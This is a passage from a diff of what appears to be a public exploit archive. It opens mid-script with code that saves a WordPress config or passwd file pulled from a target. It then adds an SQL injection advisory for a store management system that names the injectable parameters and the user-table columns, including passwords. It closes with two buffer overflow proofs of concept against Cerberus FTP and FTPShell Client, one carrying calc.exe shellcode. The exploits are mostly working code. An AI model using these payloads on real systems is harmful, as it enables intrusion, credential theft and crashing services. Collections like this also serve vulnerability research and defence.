if fileState == 200:
|
||||||
|
respFromThatFile = getThatFile.text
|
||||||
|
if file_choice == "1":
|
||||||
|
resultFile=extract_hostname+"_config_"+cleanName+".txt"
|
||||||
|
print resultFile
|
||||||
|
pwned=open(resultFile, 'w')
|
||||||
|
pwned.write(respFromThatFile)
|
||||||
|
pwned.close
|
||||||
|
print "Wordpress Config Written to "+resultFile
|
||||||
|
else:
|
||||||
|
resultFile=extract_hostname+"_passwd"+cleanName+".txt"
|
||||||
|
pwned=open(resultFile, 'w')
|
||||||
|
pwned.write(respFromThatFile)
|
||||||
|
pwned.close
|
||||||
|
print "Passwd File Written to "+resultFile
|
||||||
|
else:
|
||||||
|
print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
checkPlugin()
|
||||||
29
platforms/php/webapps/41627.txt
Executable file
29
platforms/php/webapps/41627.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Pasal - Departmental Store Management System v1.2 - SQL Injection
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 17.03.2017
|
||||||
|
# Vendor Homepage: http://webstarslab.com
|
||||||
|
# Software : http://webstarslab.com/products/pasal-departmental-store-management-system/
|
||||||
|
# Demo: http://webstarslab.com/departmental-store-management-system/store/
|
||||||
|
# Version: 1.2
|
||||||
|
# Tested on: Win7 x64, Kali Linux x64
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Mail : ihsan[@]ihsan[.]net
|
||||||
|
# # # # #
|
||||||
|
# SQL Injection/Exploit :
|
||||||
|
# Login as regular user
|
||||||
|
# http://localhost/[PATH]/module.php?module=vendors&page=edit-vendors&id=[SQL]
|
||||||
|
# http://localhost/[PATH]/module.php?module=units&page=edit-units&id=[SQL]
|
||||||
|
# http://localhost/[PATH]/module.php?module=currency&page=edit-currency&id=[SQL]
|
||||||
|
# http://localhost/[PATH]/module.php?module=category&page=edit-category&id=[SQL]
|
||||||
|
# http://localhost/[PATH]/module.php?module=purchase&y=[SQL]&m=[SQL]
|
||||||
|
# tbl_users:id
|
||||||
|
# tbl_users:username
|
||||||
|
# tbl_users:password
|
||||||
|
# tbl_users:email
|
||||||
|
# tbl_users:full_name
|
||||||
|
# tbl_users:permission
|
||||||
|
# Etc..
|
||||||
|
# # # # #
|
||||||
50
platforms/windows/dos/41620.txt
Executable file
50
platforms/windows/dos/41620.txt
Executable file
|
|
@ -0,0 +1,50 @@
|
||||||
|
[+] Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow
|
||||||
|
[+] Credits / Discovery: Nassim Asrir
|
||||||
|
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
|
||||||
|
[+] Author Company: Henceforth
|
||||||
|
[+] CVE: CVE-2017-6880
|
||||||
|
|
||||||
|
Vendor:
|
||||||
|
===============
|
||||||
|
|
||||||
|
https://www.cerberusftp.com/
|
||||||
|
|
||||||
|
|
||||||
|
Download:
|
||||||
|
===========
|
||||||
|
|
||||||
|
https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Type:
|
||||||
|
===================
|
||||||
|
|
||||||
|
Remote Buffer Overflow.
|
||||||
|
|
||||||
|
|
||||||
|
issue:
|
||||||
|
===================
|
||||||
|
|
||||||
|
This problem happens when the Attacker send the bad char "A" in the command "MLST" (2047).
|
||||||
|
|
||||||
|
POC:
|
||||||
|
===================
|
||||||
|
#Simple POC by Nassim Asrir from Henceforth.
|
||||||
|
import socket
|
||||||
|
bad_char = "A"*2047
|
||||||
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
connect=s.connect(('192.168.1.81',21))
|
||||||
|
s.recv(1024)
|
||||||
|
s.send('USER nassim\r\n')
|
||||||
|
s.recv(1024)
|
||||||
|
s.send('PASS mypass\r\n')
|
||||||
|
s.recv(1024)
|
||||||
|
s.send('MLST ' + bad_char + '\r\n')
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
https://gist.github.com/Nassim-Asrir/a1bb8479976d4bf6b7c0e63024a46cd6/archive/e76274496bf20a0d3ecbb4b2f6a408166808d03b.zip
|
||||||
|
|
||||||
|
Tested on:
|
||||||
|
===============
|
||||||
|
|
||||||
|
Windows 7 Sp1 (64 Bit)
|
||||||
49
platforms/windows/dos/41629.py
Executable file
49
platforms/windows/dos/41629.py
Executable file
|
|
@ -0,0 +1,49 @@
|
||||||
|
print '''
|
||||||
|
|
||||||
|
##############################################
|
||||||
|
# Created: ScrR1pTK1dd13 #
|
||||||
|
# Name: Greg Priest #
|
||||||
|
# Mail: ScrR1pTK1dd13.slammer@gmail.com #
|
||||||
|
##############################################
|
||||||
|
|
||||||
|
# Exploit Title: FTPShell Client 6.53 Session name BufferOverflow
|
||||||
|
# Date: 2017.03.17
|
||||||
|
# Exploit Author: Greg Priest
|
||||||
|
# Version: FTPShell Client 6.53
|
||||||
|
# Tested on: Windows7 x64 HUN/ENG Professional
|
||||||
|
'''
|
||||||
|
|
||||||
|
|
||||||
|
a = "A" * 460
|
||||||
|
b = '\xDC\xE8\x65\x76'
|
||||||
|
nop = '\x90' * 10
|
||||||
|
c = "C" * 1638
|
||||||
|
|
||||||
|
#calc.exe
|
||||||
|
shellcode =(
|
||||||
|
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
|
||||||
|
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
|
||||||
|
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
|
||||||
|
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
|
||||||
|
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
|
||||||
|
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
|
||||||
|
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
|
||||||
|
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
|
||||||
|
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
|
||||||
|
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
|
||||||
|
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
|
||||||
|
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
|
||||||
|
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
|
||||||
|
"\x53\x53\x53\x53\x52\x53\xff\xd7")
|
||||||
|
|
||||||
|
evilstring = a+b+nop+shellcode+c
|
||||||
|
|
||||||
|
|
||||||
|
file = open ('evilstring.txt', "w")
|
||||||
|
file.write(evilstring)
|
||||||
|
file.close
|
||||||
|
|
||||||
|
print evilstring
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Loading…
Add table
Reference in a new issue